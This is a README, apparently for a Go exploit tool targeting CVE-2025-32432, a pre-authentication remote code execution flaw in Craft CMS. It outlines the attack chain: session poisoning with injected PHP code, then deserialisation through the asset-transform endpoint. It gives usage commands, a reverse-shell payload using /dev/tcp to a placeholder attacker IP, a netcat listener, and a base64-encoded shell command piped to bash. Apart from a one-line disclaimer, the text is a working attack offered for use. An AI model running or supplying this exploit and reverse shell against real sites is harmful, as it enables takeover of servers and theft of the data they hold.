CVE-2025-32432 — Craft CMS Pre-Auth RCE

Exploit pour l'exécution de code à distance sans authentification sur Craft CMS, écrit en Go.
Inspiré des travaux originaux de c0gnit00.

Comment ça fonctionne

1. Récupère la session PHP et le jeton CSRF via GET /admin/login
2. Empoisonne le fichier de session PHP en injectant du code PHP dans la query string
3. Déclenche la désérialisation via assets/generate-transform pour inclure et exécuter le fichier empoisonné

Utilisation

go run main.go -u <url> -c <comando> 

Exemple

# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

Reverse Shell

1. Générez le payload en base64 avec votre IP et votre port :

echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. Ouvrez le listener :

nc -lvnp 4444

3. Exécutez l'exploit avec le payload :

go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

Remplacez la valeur en base64 par celle générée à l'étape 1 avec votre IP réelle.

Avertissement

Pour une utilisation exclusive dans des environnements autorisés et des tests de sécurité contrôlés.